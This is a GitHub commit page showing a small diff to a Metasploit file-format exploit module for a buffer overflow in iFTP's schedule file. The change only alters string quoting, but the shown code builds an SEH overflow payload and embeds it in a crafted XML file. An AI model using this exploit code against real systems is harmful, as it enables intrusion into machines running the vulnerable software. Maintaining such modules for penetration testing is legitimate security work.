We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent bb33a91 commit 9be95eaCopy full SHA for 9be95ea
modules/exploits/windows/fileformat/iftp_schedule_bof.rb
@@ -70,10 +70,10 @@ def exploit
70
evil << generate_seh_payload(target.ret)
71
evil << rand_text_alpha(20000)
72
73
- sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
+ sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
74
<Schedule>
75
- <Event Url=\"\" Time=\"#{evil}\" Folder=\"\" />
76
- </Schedule>"
+ <Event Url="" Time="#{evil}" Folder="" />
+ </Schedule>|
77
78
# Create the file
79
print_status("Creating '#{datastore['FILENAME']}' file ...")
0 commit comments